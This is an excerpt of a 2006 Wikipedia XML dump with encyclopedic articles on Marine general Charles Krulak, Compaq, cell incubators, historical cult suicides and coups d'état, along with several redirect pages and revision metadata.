Charles Krulak was born in 1942 in [[Quantico, Virginia]]. After graduating from [[Phillips Exeter Academy]] in [[Exeter, New Hampshire]], Krulak attended the [[U.S. Naval Academy]]. He graduated from there in [[1964]] with a bachelor's degree. Krulak also holds a master's degree in labor relations from [[George Washington University]] ([[1973]]). He is a graduate of the [[Amphibious Warfare School]] ([[1968]]); the Army Command and General Staff College ([[1976]]); and the [[National War College]] ([[1982]]). 

==Career assignments==
After his commissioning and graduation from The Basic School at Quantico, Krulak held a variety of command and staff positions. His command positions included: [[Commanding Officer]] of a platoon and two rifle companies during two tours of duty in [[Vietnam]]; Commanding Officer, Special Training Branch and Recruit Series, MCRD, [[San Diego, California]]. ([[1966]]-[[1968]]), Commanding Officer, Counter-Guerilla Warfare School, NTA, [[Okinawa]] (1970), Company Officer, [[U.S. Naval Academy]] ([[1970]]-[[1973]]), Commanding Officer, Marine Barracks, Naval Air Station, [[North Island, California]] ([[1973]]-[[1976]]), and Commanding Officer, 3d Battalion, 3d Marines ([[1983]]-[[1985]]). 

Krulak's staff assignments included: Operations Officer, 2d Battalion, 9th Marines ([[1977]]-[[1978]]); Chief of the Combat Arms Monitor Section, Headquarters Marine Corps, [[Washington, DC]] ([[1978]]-[[1979]]); Executive Assistant to the Director of Personnel Management, Headquarters Marine Corps ([[1979]]-[[1981]]); Plans Office, Fleet Marine Forces Pacific, [[Camp H.M. Smith]], [[Hawaii]] ([[1982]]-[[1983]]); Executive Officer, 3d Marines, 1st Marine Expeditionary Brigade; Assistant Chief of Staff, Maritime Pre-positioning Ships, 1st MEB; Assistant Chief of Staff for Operations, 1st MEB; and the Military Assistant to the Assistant Secretary of Defense for Command, Control, Communications and Intelligence, Office of the [[United States Secretary of Defense|Secretary of Defense]]. 

He was assigned duty as the Deputy Director of the [[White House]] Military Office in September [[1987]]. While serving in this capacity, he was selected for promotion to brigadier general in November [[1988]]. He was advanced to that grade on [[June 5]], [[1989]], and assigned duties as the Commanding General, 10th &lt;nowiki&gt;MEB/Assistant&lt;/nowiki&gt; Division Commander, 2d Marine Division, FMF Atlantic, [[Camp Lejeune, North Carolina]], on [[July 10]], [[1989]]. On [[June 1]], [[1990]], he assumed duties as the Commanding General, 2d Force Service Support &lt;nowiki&gt;Group/Commanding&lt;/nowiki&gt; General, 6th MEB, FMF Atlantic and commanded the 2d FSSG during the [[Gulf War]]. He served in this capacity until [[July 12]], [[1991]], and was assigned duty as Assistant Deputy Chief of Staff for Manpower and Reserve Affairs (Personnel &lt;nowiki&gt;Management/Personnel&lt;/nowiki&gt; Procurement), Headquarters Marine Corps on [[August 5]], [[1991]]. He was advanced to major general on [[March 20]], [[1992]]. General Krulak was assigned as Commanding General, Marine Corps Combat Development Command, Quantico, on [[August 24]], [[1992]], and was promoted to lieutenant general on [[September 1]], [[1992]]. On [[July 22]], [[1994]], he was assigned as Commander of Marine Forces &lt;nowiki&gt;Pacific/Commanding&lt;/nowiki&gt; General, FMF Pacific, and in March [[1995]] he was nominated to serve as the [[Commandant of the Marine Corps]]. On [[June 29]], he was promoted to General and assumed duties as the 31st Commandant on [[June 30]], [[1995]].  He was relieved on [[June 30]], [[1999]], by General [[James L. Jones]].

Later in his career he worked for credit card company MBNA.

==Decorations and medals==
General Krulak's decorations and medals included: the [[Defense Distinguished Service Medal]]; [[Distinguished Service Medal (USA)|Distinguished Service Medal]]; [[Silver Star]]; [[Bronze Star Medal]] with [[Valor device]] and two gold stars; [[Purple Heart]] with gold star; [[Meritorious Service Medal (USA)|Meritorious Service Medal]]; [[Navy Commendation Medal]]; [[Combat Action Ribbon]]; [[Presidential Unit Citation (US)|Presidential Unit Citation]] with bronze star; [[National Defense Service Medal]] with one bronze star; [[Vietnam Service Medal]] with silver star and two bronze stars; [[Southwest Asia Service Medal]] with two bronze stars; [[Sea Service Deployment Ribbon]]; [[Republic of Vietnam Cross of Gallantry]]; [[Republic of Vietnam Gallantry Cross Unit Citation]] (with Palm); [[Republic of Vietnam Civil Actions Unit Citation]]; the [[Republic of Vietnam Campaign Medal]]; the [[Kuwait Liberation Medal (Saudi Arabia)]] and the [[Kuwait Liberation Medal (Kuwait)]].

==Legacy==
General Krulak famously referred to the [[Strategic Corporal]] and the [[Three Block War]] as two of the key lessons identified from the deployments in [[Somalia]], [[Haiti]] and [[Bosnia and Herzegovina | Bosnia]].  These concepts are still considered vital in understanding the increasing complexity of modern [[battlefield]]s.

==Family==
General Krulak is married to the former Zandi Meyers from Annapolis. They have two sons, David and Todd.

==External links==
* [http://www.au.af.mil/au/awc/awcgate/usmc/strategic_corporal.htm The Strategic Corporal: Leadership in the Three Block War]

{{start box}}
{{succession box | before = Gen. [[Carl E. Mundy, Jr.]] | title = [[Commandant of the Marine Corps|Commandant of the United States Marine Corps]] | years = 1995&amp;mdash;1999 | after = Gen. [[James L. Jones]]}}
{{end box}}

[[Category:1942 births|Krulak, Charles C.]]
[[Category:Living people|Krulak, Charles C.]]
[[Category:People from Virginia|Krulak, Charles C.]]
[[Category:United States Marine Corps Commandants|Krulak, Charles C.]]
[[Category:United States Marine Corps generals|Krulak, Charles C.]]
[[Category:United States Naval Academy graduates|Krulak, Charles C.]]

[[sl:Charles C. Krulak]]</text>
    </revision>
  </page>
  <page>
    <title>Compaq</title>
    <id>7742</id>
    <revision>
      <id>41886460</id>
      <timestamp>2006-03-02T10:36:16Z</timestamp>
      <contributor>
        <ip>69.235.204.20</ip>
      </contributor>
      <comment>infobox, links</comment>
      <text xml:space="preserve">'''{{Infobox_Company |
  company_name   = Compaq|
  company_logo   = [[Image:Compaq_logo.png|170px]] |
  company_type   = [[Subsidiary]] of [[Hewlett-Packard|HP]] |
  foundation     = [[February]], [[1982]] |
  location       = [[Houston, Texas]], [[USA]]|
  key_people     = [[Rod Canion]], Founder&lt;br /&gt;[[Jim Harris]], Founder &lt;br /&gt;[[Bill Murto]], Founder |
  num_employees  = 63,700 ([[2001]]) |
  industry       = [[Personal digital assistant|PDA]] and [[Computer Hardware]] |
  products       = [[Compaq Presario|Presario]] [[desktop computer|desktops]] and [[notebook computer|notebooks]], [[Ipaq|iPAQ]] |
  revenue        = {{loss}} $33.554 billion [[USD]] ([[2001]]) |
  net_income       = {{loss}} ($785 million) [[USD]] ([[2001]]) |
  homepage       = [http://www.compaq.com/ compaq.com]
}}

'''Compaq''' was a [[personal computer]] company founded in [[1982]] by [[Rod Canion]], [[Jim Harris (Compaq)|Jim Harris]] and [[Bill Murto]]. During the [[1980]]s Compaq produced some of the first [[IBM PC compatible]] computers at a low-cost. The term &quot;COMPAQ&quot; is an acronym for &quot;'''Comp'''atibility '''a'''nd '''Q'''uality&quot;. It existed as a standalone entity until [[2002]] when it was purchased by [[Hewlett-Packard]].

==History==
===1980s===
Compaq was founded in February [[1982]] by [[Rod Canion]], [[Jim Harris (Compaq)|Jim Harris]] and [[Bill Murto]], three senior managers from semiconductor manufacturer [[Texas Instruments]].  Each invested $1,000 to form the company.  Their first venture capital came from Ben Rosen and Sevin-Rosen partners. It is often told that the architecture of the original Compaq PC was first sketched out on a placemat by the founders while dining in the Houston restaurant, House of Pies.

[[Image:CompaqPortable.jpg|thumb|right|[[Compaq Portable]]]]In November [[1982]] Compaq announced their first product, the [[Compaq Portable]], a portable [[IBM PC compatible]] [[personal computer]]. It was released in March [[1983]] at $2995, considerably more affordable than competitors at the time. The Compaq Portable was one of the progenitors of today's [[laptop]]. It was the second IBM PC compatible, being capable of running all software that would run on an [[IBM PC]]. It was a commercial success, selling 53,000 units in its first year. The Compaq Portable was the first in the range of the [[Compaq portable series]]. Compaq was able to market a legal IBM clone because [[IBM]] mostly used &quot;off the shelf&quot; parts for their [[IBM PC|PC]]. Furthermore, [[Microsoft]] had kept the right to license [[MS-DOS|the operating system]] to other computer manufacturers. The only part which had to be duplicated was the [[BIOS]], which Compaq did legally by using [[reverse-engineer|reverse-engineering]] for $1 million. Numerous other companies soon followed their lead.

In [[1985]] Compaq released the [[Compaq Deskpro 286]], a 16-bit [[desktop computer]] using an [[Intel 80286]] microprocessor running at 6&amp;nbsp;MHz and capable of 7MB RAM, it was considerably faster than an [[IBM PC]] and was, like the [[Compaq Portable]], also capable of running IBM software. It cost $2000 for the 40MB hard disk model. It was the first of the [[Compaq Deskpro]] line of computers.

[[Image:CompaqPortable386.jpg|thumb|100px|left|[[Compaq Portable 386]]]]After making half a billion dollars turnover, in [[1986]] Compaq released the [[Compaq Portable II]]. The Portable II was significantly lighter and smaller than its predecessor, featuring a revised design with an 8&amp;nbsp;MHz processor and 10MB hard disk. It was cheaper than the [[IBM PC/AT]] at $3199, or $4799 with a hard disk. A year later in [[1987]], Compaq introduced the first PC based on [[Intel]]'s new [[Intel 80386|80386]] microprocessor, with the [[Compaq Portable 386]] and [[Compaq Portable III]]. IBM was not yet using this processor, and subsequently Compaq established what was known disparagingly as the [[PC clone]] business.

===1990s - Present===
In the early-[[1990s]], Compaq entered the retail computer market with the [[Presario]], and was one of the first manufacturers in the mid-1990s to market a sub-$1,000 PC. In order to maintain the prices it wanted, Compaq became the first first-tier computer manufacturer to utilize CPUs from [[AMD]] and [[Cyrix]]. The price war resulting from Compaq's actions ultimately drove numerous competitors, most notably [[IBM]] and [[Packard Bell]], from the marketplace.

In [[1997]], Compaq bought [[Tandem Computers]], known for their [[NonStop]] server line. This acquisition instantly gave Compaq a presence in the higher end business computing market. In [[1998]], Compaq acquired [[Digital Equipment Corporation]], the leading company in the previous generation of computing during the [[1970s]] and early [[1980s]]. This acquisition made Compaq, at the time, the world's second largest computer maker in the world in terms of revenue.  Unfortunately for the company, CEO [[Eckhart Pfeiffer]], who engineered both mergers, had little vision for what the combined companies should do, or indeed how the three dramatically different cultures could work as a single entity, and Compaq struggled as a result.  Pfeiffer was forced out as CEO in [[1999]] in a coup led by board chairman Ben Rosen and was eventually replaced by [[Michael Capellas]], formerly CIO of the company.  Capellas was able to restore some of the luster lost in the latter part of the Pfeiffer era, but the company still struggled against lower-cost competitors such as [[Dell, Inc.|Dell]].

In [[2001]], Compaq engaged in a merger with [[Hewlett-Packard]]. Numerous large HP shareholders, including Walter Hewlett, publicly opposed the deal, which resulted in a nasty proxy battle between those for and against the deal.  The merger was approved only after the narrowest of margins, and allegations of vote buying (primarily involving an alleged last-second back-room deal with [[Bank of America]]) haunted the new company.  Capellas left the company after serving less than a year as President of HP.  [[Carly Fiorina]], the CEO of HP, added Capellas' responsibilities to her own.  Fiorina helmed Compaq for nearly three years after Capellas left. During that time, HP laid off thousands of former Compaq employees, its stock price generally declined, profits did not perk up, and it continued to lose market share to [[Dell Inc.|Dell]].  Facing dismissal from a hostile Board of Directors, Fiorina opted to leave in February 2005 before the board could fire her. Mark Hurd took her place as CEO of HP.  Some Compaq products were re-branded with the HP nameplate, while the Compaq brand remained on other products, notably [[IBM PC|PC]], [[Personal digital assistant|PDA]], and [[server]] lines.

== PC Products ==
* [[Compaq Presario]]
* [[Compaq Proliant]]
* [[Compaq Armada]]
* [[iPAQ]]
* [[Compaq Deskpro]]
* [[Compaq Portable]]
* [[Compaq Professional Workstation AP400]]
* [[Tc1000]], a tablet notebook

== Culture ==
Two sports stadiums were named after the company:
* The [[Compaq Center (Houston)|Compaq Center]], of [[Houston, Texas]], formerly The Summit, lost its sports teams to the [[Toyota Center]]. The building became the new home of [[Lakewood Church]], one of the largest [[Protestant]] congregations in the United States. 
* The [[San Jose Compaq Center]], of [[San Jose, California]], was renamed the [[HP Pavilion]].

== Competitors ==
HP Compaq competes against other computer manufacturers including [[Alienware]], [[Dell, Inc.|Dell]], [[Lenovo Group|Lenovo]], [[Gateway, Inc.|Gateway]], [[Sony]] and [[Toshiba]] among others. Originally the company competed against [[IBM]], making affordable [[IBM PC compatible]]s often cheaper and faster than the IBM alternative.  [[Lenovo]], which purchased IBM's personal computer business in [[2005]], is a new competitor, especially in [[China]] where it is headquartered.

==See also==
*[[Compaq portable series]]

== External links ==
*[http://www.compaq.com/ Compaq official website]
*[http://h18000.www1.hp.com/corporate/history.html/ Compaq company history (hp.com)]
*[http://www.washingtontechnology.com/news/16_13/business/17177-1.html/ HP-Compaq merger (washingtontechnology.com)]

[[Category:Electronics companies]]
[[Category:Computer hardware companies]]
[[Category:Defunct computer companies of the United States]]

[[da:Compaq]]
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[[ja:コンパック]]
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[[zh:康柏電腦]]</text>
    </revision>
  </page>
  <page>
    <title>Cell Incubator</title>
    <id>7743</id>
    <revision>
      <id>15905797</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cell incubator]]
</text>
    </revision>
  </page>
  <page>
    <title>Cell incubator</title>
    <id>7744</id>
    <revision>
      <id>39867764</id>
      <timestamp>2006-02-16T12:08:02Z</timestamp>
      <contributor>
        <username>Reinoutr</username>
        <id>158685</id>
      </contributor>
      <comment>added and corrected wikilinks</comment>
      <text xml:space="preserve">[[Image:Galaxy7-1-.gif|thumb|right|150px|A typical CO&lt;sub&gt;2&lt;/sub&gt; incubator.]]

A '''cell incubator''' is an apparatus used to grow and maintain [[cell culture]]s. The incubator keeps cultures at an optimal [[temperature]] and [[humidity]]. Many will also regulate the [[carbon dioxide]](CO&lt;sub&gt;2&lt;/sub&gt;) and [[oxygen]] content of the atmosphere inside, in which case they are also called ''CO&lt;sub&gt;2&lt;/sub&gt; incubators''. Cell incubators are essential for a lot of experimental work in [[cell biology]] and [[molecular biology]] and are used to culture both [[Bacteria|bacterial]] as well as [[Eukaryote|eukaryotic]] cells. For mammalian cells, the chamber temperature is typically set to 37° C, the relative humidity is &gt;95% and a slightly acidic [[PH|pH]] is achieved by maintaining a CO&lt;sub&gt;2&lt;/sub&gt; level of 5%.


== External links ==

* [http://hepcw.procureweb.ac.uk/lab_links_open/labindex.html UK academic website offering resources for obtaining further information on CO&lt;sub&gt;2&lt;/sub&gt; incubators]
* [http://www.wolflabs.co.uk/co2_incubator.htm Literature on the various different types of CO&lt;sub&gt;2&lt;/sub&gt; incubators can be obtained here]


{{cellbio-stub}}

[[Category:Cell biology]]</text>
    </revision>
  </page>
  <page>
    <title>Cult homicide</title>
    <id>7745</id>
    <revision>
      <id>31199153</id>
      <timestamp>2005-12-13T15:41:07Z</timestamp>
      <contributor>
        <username>Jossi</username>
        <id>60449</id>
      </contributor>
      <comment>rd</comment>
      <text xml:space="preserve">#REDIRECT [[Destructive cult]]</text>
    </revision>
  </page>
  <page>
    <title>Cult suicide</title>
    <id>7746</id>
    <revision>
      <id>42129006</id>
      <timestamp>2006-03-04T00:33:30Z</timestamp>
      <contributor>
        <username>Ombudsman</username>
        <id>135955</id>
      </contributor>
      <minor />
      <comment>/* Scientology */ Wikify [[Philip Gale]]</comment>
      <text xml:space="preserve">'''Cult suicide''' is that phenomenon by which some religious groups, in this context often referred to as &quot;[[cult]]s&quot;, have led to their membership committing [[suicide]]. Sometimes all members commit suicide at the same time and place. Groups which have done this include, [[Heaven's Gate (cult)|Heaven's Gate]], [[Order of the Solar Temple]], [[Peoples Temple]] ([[Jonestown]]), and the [[Movement for the Restoration of the Ten Commandments of God]]. In other cases certain denominations apparently supported mass suicide, but did not necessarily encourage all members to do it. Examples here include [[Filippians]], the [[Taiping]], and a few others.

==Known Cult Suicides==

===Peoples Temple (Jim Jones)===

In [[1978]], 914 American followers of [[Jim Jones]] died in a [[mass murder]]/[[suicide]] in [[Jonestown]], [[Guyana]].  The dead included 274 children.  Alternative theories allege that most of  the victims were unwillingly injected with the poison, and some even allege involvement of the [[CIA]].  However, an affadavit made by former member [[Deborah Layton]] days before the massacre testified to suicide drills called ''white nights'' in which members practiced mass suicide by ingesting poison, and in Jones' final speech, recorded on cassette tape, he states &quot;So my opinion is that you be kind to children and be kind to seniors and take the potion like they used to take in ancient Greece...&quot; stating the intention that the group kill themselves while casting it as a political act:  &quot;We didn't commit suicide, we committed an act of revolutionary suicide protesting the conditions of an inhumane world.&quot;

=== Movement for the Restoration of the Ten Commandments of God ===

On [[March 17]] [[2000]], between 780 and 1000 members of the [[Movement for the Restoration of the Ten Commandments of God]] died in a probable mass suicide in [[Uganda]]. The group had splintered from [[Roman Catholicism]] to emphasize [[apocalypticism]] and alleged [[Marian apparitions]]. They also deemed the wider world to be corrupt, seeing themselves as a [[Noah's Ark]] of purity. Along these ends members severely restricted their speech to avoid saying anything dishonest or sinful. Curiously, the group had a feast that involved large quantities of [[Coca-Cola]] and beef before dying.

===Solar Temple===

From [[1994]] to [[1997]], the [[Order of the Solar Temple]]'s members became so paranoid they began a series of mass suicides, which led to roughly 74 deaths. Farewell letters were left by members, stating that they believed their deaths would be an escape from the &quot;hypocrisies and oppression of this world.&quot; Added to this they felt they were &quot;moving on to [[Sirius]].&quot; Interestingly, a mayor, a journalist, a civil servant, and a sales manager were among the dead. Records seized by the Quebec police showed that some members had personally donated over $1 million to the cult's leader, Joseph Di Mambro. There was also another attempted mass suicide of the remaining members, which was thwarted in the late 1990s. All the suicide/murders and attempts occurred around the dates of the equinoxes and solstices, which likely held some relation to the beliefs of the group.

===Heaven's Gate===

On [[March 26]] [[1997]], 39 followers of the [[Heaven's Gate (cult)|Heaven's Gate]] cult died in a mass suicide near [[San Diego, California]].  In the beliefs of the cult, this was not an act of self-extermination; they believed that they were merely &quot;exiting their human vehicles&quot; so that their souls could go on a journey aboard a spaceship they believed to be following [[comet Hale-Bopp]].  Some male members of the cult underwent voluntary [[castration]] in preparation for the genderless life they believed awaited them after the suicide.

On [[March 30]] [[1997]], Robert Leon Nichols, a former roadie for the [[Grateful Dead]], was discovered dead in his California trailer, with a note nearby that read in part &quot;I'm going to the spaceship with Hale-Bopp to be with those who have gone before me.&quot;  Using propane gas rather than vodka and [[phenobarbital]] to end his life, Nichols, like the cult members, had his head covered by a plastic bag and his upper torso covered with a purple shroud.  Nichols' connection with the cult is unknown.

In May 1997, two cult members who had not been present for the mass suicide attempted suicide, one succeeding in the attempt, the other going into [[coma]] for two days and then recovering.  In February 1998 the survivor, Chuck Humphrey, attempted suicide, this time succeeding.

==Suspected Cult Suicides==

===Branch Davidians===

The April 1993 deaths of the [[Branch Davidians]] near [[Waco, Texas]] was deemed to be a cult suicide by varied media sources. Many, however, reported that what happened is unknown and could have been some sort of accident or panic rather than an intentional cult-suicide. Others assign blame to the [[United States government]]. Still others believe it was actually murder-suicide committed by the group's leaders. In any event, it's widely agreed that most or all members did in fact die violent deaths of some kind.

===World Church of the Creator===

[[Ben Klassen]] formed the [[white supremacist]] group currently called the [[Creativity Movement]]. He wrote a book called ''The White Man's Bible'' which called suicide &quot;an honorable and dignified way to die for any ... of a number of reasons, such as having come to the decision that life is no longer worthwhile.&quot; After the death of his wife he practiced what he preached and committed suicide. A former member named [[Benjamin Nathaniel Smith]] committed suicide after a spree killing.

===Scientology===

A considerably weaker suspicion indicates [[Scientology]] caused a number of suicides actively, or through negligence. For example, according to [[Flo Conway]], a researcher at the [[University of Oregon]], Scientologists are taught that if they abandon the &quot;church&quot; they will soon kill themselves or have a serious illness or accident. Her research is said to conclude that they create suicidal people because &quot;Former Scientologists had the highest rates of persistent fear, sleeplessness, suicidal and self-destructive tendencies, violent outbursts, hallucinations and delusions, compared to ex-members of other religious groups.&quot;  Ex-members have also claimed (most notably in the [[Fishman Affidavit]]) that the Church of Scientology ordered them or others to commit &quot;end of cycle&quot; (suicide) in order to protect the Church.

In its cover story on Scientology on [[May 5]], [[1991]], ''Time'' magazine noted the case of [[Noah Lottick]], who committed suicide by jumping from a tall building.  The magazine stated that he clutched in his fist &quot;practically the only money he had not yet given to the Church of Scientology.&quot; Former church member [[Philip Gale]] similarly committed suicide, by jumping out of a tall building.  He chose to kill himself on [[March 13]], Scientology's most important annual holiday marking the birthday of its founder, [[L. Ron Hubbard]]. 

Critics of this theory state that this means that any religious practice which leads to death, or that rejects [[apostasy]], would taint the faith as having cult suicide. For example, deaths attributed to [[Christian Science]]' position against medical advice, or to a recent botched [[exorcism]] by a [[Romanian Orthodox]] priest.

==Questionable Cult Suicides==

===The Family International===

A less widespread suspicion indicates that The Family International, previously called [[The Children of God]], encourages suicide despite its official rejection of actions like [[euthanasia]]. However the [[Beliefs of the Children of God]] emphasizes an imminent [[Second Coming]] and some deem this a negative sign with regards to suicidal behavior. Also the religion recently gained renewed attention due to the murder-suicide of [[Ricky Rodriguez]]. Mr. Rodriguez was a former member, but this event gained notice as he was the biological son of current leader [[Karen Zerby]] and the adopted son of the group's founder. It revived allegations that the group is abusive and inciting of suicidal ideation. Thus his death was widely called &quot;the suicide of a cult member&quot; or in a sense a &quot;cult suicide&quot;, but this view was far from universal. This case, arguably and in an exaggerated way, made it to popular culture in an oblique reference in one of the last episodes of the [[NBC]] show [[Third Watch]]. 

Defense of their group indicate Mr. Rodriguez was an aberrant former member and that his behavior is not typical of the group. Added to this tFI/CoG discourages suicide. Other defences state that there is no evidence to confirm the suspicion their members are unusually suicidal.

=== Falun Gong ===

[[Xinhua News Agency]] has alleged several times that practitioners of [[Falun Gong]] engage in &quot;cult suicide&quot;. The most noteworthy allegations came in January 2001 when the Chinese government claimed that at least six Falun Gong practitioners immolated themselves on the [[Tiananmen square]].

Falun Gong practitioners have disputed this and insist that the practice teaches against suicide. They believe that the self-immolators were never practitioners, or possibly were killed by the authorities. The United Nations' International Education Development (IED) at the UN Human Rights Commission in August 2001 has verified these allegations and stated: &quot;We have obtained a video of that incident that in our view proves that this event was staged by the government.&quot;

A documentary film entitled &quot;False Fire&quot; has been released to question the official claims of the Chinese Communist Party.[http://www.faluninfo.net/tiananmen/immolation.asp] Outside observers tend to side with Falun Gong practitioners and reject the idea that the group engages in cult suicide, and have instead criticized the Chinese government for its crackdown of the Falun Gong movement.

== Martyrdom ==

Some argue that [[martyrdom]], as found in religions such as [[Christianity]] or [[Buddhism]] or [[Islam]], is tantamount to suicide. This argument states that by accepting or even inviting their own death the martyr is committing something like [[assisted suicide]]. This theory is not in itself new. [[Richard Marius]]'s unflattering biography of [[Thomas More]] indicated More felt hesitant about accepting martyrdom too easily for fear that would be too similar to suicide. Although it has gained more currency in modern times.

In any event most mainstream religions traditionally forbid members to take their own lives. Martyrdom generally involves losing one's life, usually passively, at the hands of non-believers because of one's religious beliefs or practices. The [[Roman Catholic Church]] considers life to be a gift whose sole &quot;owner&quot; would be [[God]], who is consequently the only individual who may legitimately decide when to interrupt it. Special cases exist, such as the giving of one's own life to save that of another, but most cultures do not consider such acts to be true suicides.

Islam arguably has the harshest view of suicide of any major religion. Therefore some of the lowest suicide rates are found in Muslim nations like [[Jordan]] or [[Egypt]].
[http://www.who.int/mental_health/prevention/suicide/charts/en/index.html]
Still the extreme [[Islamist]] movement has strongly encouraged many [[Muslim]]s to accept a theology in which becoming a [[suicide bomber]] is not considered suicide. Instead it is what's the extremists deem a &quot;martyrdom operation&quot; the purpose of which is to kill the enemies and in consequence yourself. 

Dozens of Muslims, primarily Palestinians and [[Saudi Arabia]]ns, have died in the act of killing both military personnel and civilians in this fashion over the last decade, mostly in the [[Middle East]].  Recently 19 died in such a way in the [[United States]] (see ''[[September 11, 2001 Terrorist Attack]]'').  Still a word of caution should be mentioned here as in many dispute the goal is primarily religious, especially in the case of Palestinians. 

Outside of Western religion the [[Tamil Tigers]] are known to have engaged in suicide bombing. At times Western observers have deemed [[Velupillai Prabhakaran]] to be a cult-like [[Hindu]] figure who encourages suicide. Therefore they deem the [[LTTE]], rightly or wrongly, as like a cult-suicide group. Even if again the goal is largely political and destructive of others rather than self.

Related to this some would indicate that if &quot;martyrdom&quot; is ever directly self-inflicted it becomes cult-suicide. This line of thought leads to debates about whether the [[self-immolation]] of [[Buddhist monk]]s in [[Vietnam War|Vietnam]] was cult suicide. One camp believes that in a sense it was cult suicide, but the other dispute this as it was ultimately a political action rather than a religious one. This argument could also apply to suicide bombers as that action is generally political. However added to this the self-immolation was of an individual rather than condoned by the leadership of a group. No recognized [[Buddhism|Buddhist]] [[organization]] is known to have requested that [[Thích Quảng Ðức]], for example, immolate himself. 

Mass suicide can also occur as a means of escape when a religious group perceives itself to be hopelessly besieged by its enemies or other adverse external pressure.  These external foes may be real or imagined (see ''[[Masada]]'').  The legend of Masada, and similar examples, are sometimes explicitly used by cult-suicides as a self-justification.  They may feel that like Masada they are in danger from what they perceive as an evil empire, even if that evil empire is seen as imaginary by the vast majority of non-members.  That death is therefore preferrable to surrender.  Hence criticisms have arisen over the occasional glorification of Masada.

It should also be mentioned that most of the larger &quot;cults&quot;, such as the Mormons, the Unification Church, and the Seventh Day Adventists, have rates of suicide far lower than that of the population as a whole, which is about 5 per 100,000 per year in the USA.

== See also ==

* [[Destructive cult]]
* [[List of convicted or indicted religious leaders]]
* [[List of purported cults]]
* [[Mass suicide]]
* [[Victims of poisoning]]

== References ==

* [http://www.factnet.org/headlines/student_suicide.html?FACTNet FACTNet.org] - MIT student raised in Scientology commits suicide&lt;br&gt;
* http://www.whyaretheydead.net/ - Scientology suicides and other deaths

{{cults}}

[[Category:Cults]]
[[Category:Suicide]]</text>
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  <page>
    <title>Controversial books</title>
    <id>7748</id>
    <revision>
      <id>15905802</id>
      <timestamp>2005-05-02T21:11:06Z</timestamp>
      <contributor>
        <ip>81.154.41.89</ip>
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      <comment>Changed REDIRECT to List of controversial non-fiction books</comment>
      <text xml:space="preserve">#REDIRECT [[List of controversial non-fiction books]]</text>
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    <title>Co-NP-Complete</title>
    <id>7750</id>
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      <id>15905803</id>
      <timestamp>2002-06-02T11:45:18Z</timestamp>
      <contributor>
        <username>LC</username>
        <id>39</id>
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      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Co-NP-complete]]</text>
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  <page>
    <title>CPSU (disambiguation)</title>
    <id>7751</id>
    <revision>
      <id>30406048</id>
      <timestamp>2005-12-06T23:40:50Z</timestamp>
      <contributor>
        <username>Ixfd64</username>
        <id>6284</id>
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      <minor />
      <comment>[[:en:Wikipedia:Tools/Navigation_popups|Popups]]-assisted redirection bypass from [[San Luis Obispo]] to [[San Luis Obispo, California]]</comment>
      <text xml:space="preserve">'''CPSU''' can refer to:
*[[Communist Party of the Soviet Union]]
*[[Communist Party of the Soviet Union (1992)]], 
*[[Community and Public Sector Union]] in [[Australia]]
*[[Cal Poly San Luis Obispo | California Polytechnic State University]] in [[San Luis Obispo, California|San Luis Obispo]], [[California]], [[United States|USA]]

{{4LA}}</text>
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    <title>Controversial book</title>
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      <contributor>
        <ip>217.42.83.139</ip>
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    <title>Coup</title>
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      <contributor>
        <username>Menchi</username>
        <id>6153</id>
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      <comment>#REDIRECT [[Coup d'état]]</comment>
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  <page>
    <title>Coup d'état</title>
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      <id>42109362</id>
      <timestamp>2006-03-03T22:02:35Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
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      <minor />
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      <text xml:space="preserve">{{Redirect|Coup}}

A '''''coup d'état''''' (pronounced {{IPA|/ku de'ta/}}), or simply a '''[[Wiktionary:coup|coup]]''', is the sudden overthrow of a [[government]] against the
[[volonté générale]] formed by the majority of the [[citizenry]], usually done by a smaller supposedly weaker body that just replaces the top power figures. It may or may not be violent in nature. It is different from a [[revolution]], which is staged by a larger group and radically changes the political system. The term is [[French language|French]] for &quot;a (sudden) blow (or strike) to a state&quot; (literally, ''coup'', hit, and ''état'', [[state]]). The term ''coup'' can also be used in a casual sense to mean a gain in advantage of one nation or entity over another; e.g. an ''intelligence coup''. By analogy, the term is also applied to corporations, etc; e.g. a ''boardroom coup''.

Since the unsuccessful coup attempts of [[Wolfgang Kapp]] in [[1920]], and of [[Adolf Hitler]] in [[1923]], the [[Swiss German]] word &quot;'''Putsch'''&quot; (originally coined with the [[Züriputsch]] of [[1839]]) is often used also, even in [[France]] (such as the putsch of [[November 8]], [[1942]] and the putsch of [[April 21]], [[1961]], both in [[Algiers]]), while the direct German translation is ''Staatsstreich''.

[[Tactics|Tactically]], a coup usually involves control of some active portion of the [[military]] while neutralizing the remainder of a country's armed services.  This active group captures or expels leaders, seizes physical control of important government offices, means of communication, and the physical [[infrastructure]], such as streets and power plants. The coup succeeds if its opponents fail to dislodge the plotters, allowing them to consolidate their position, obtain the surrender or acquiescence of the populace and surviving armed forces, and claim [[legitimacy]].

Coups typically use the power of the existing government for its own takeover. As [[Edward Luttwak]] remarks in his ''Coup d'état:  A practical handbook'': &quot;A coup consists of the infiltration of a small but critical segment of the state apparatus, which is then used to displace the government from its control of the remainder.&quot; In this sense, use of military or other organized force is not the defining feature of a coup d'état. Any seizure of the state apparatus by extra-legal tactics may be considered a coup, according to Luttwak.

==History==
Coups have long been part of political tradition. Indeed, [[Julius Caesar]] orchestrated a coup and was subsequently the victim of another coup. Many Roman emperors, such as [[Claudius]], came to power in coups, as did King [[Jehu]] of [[Kingdom of Israel|Israel]].  In the November of 1799, [[Napoleon Bonaparte]] staged a coup and seized power in France.

In the late [[20th century]] coups occurred most commonly in [[developing country|developing countries]], particularly in [[Latin America]] (e.g. [[Brazil]], [[Chile]], [[Bolivia]], and [[Argentina]]), [[Africa]] and [[Asia]] ([[Pakistan]]), but also in the Asia Pacific ([[Fiji]] and the [[Philippines]]) and in Europe (e.g. [[Greece]], [[Portugal]], [[Spain]], and the [[Soviet Union]]). Since the [[1980s]], the coup has been seen somewhat less frequently. A significant reason is the general inability to resolve the economic and political problems of developing nations, which has made armed forces, particularly in Latin America, much more reluctant to intervene in politics. Hence, in contrast to past crises, the armed forces have sat on the sidelines through economic crises such as the [[Asian financial crisis]] in [[Thailand]] in [[1998]] or the [[South American economic crisis of 2002|Argentine crisis]] of [[2002]] and have tended to act only when the military perceives itself as institutionally threatened by the civilian government, as occurred in Pakistan in [[1999]]. 

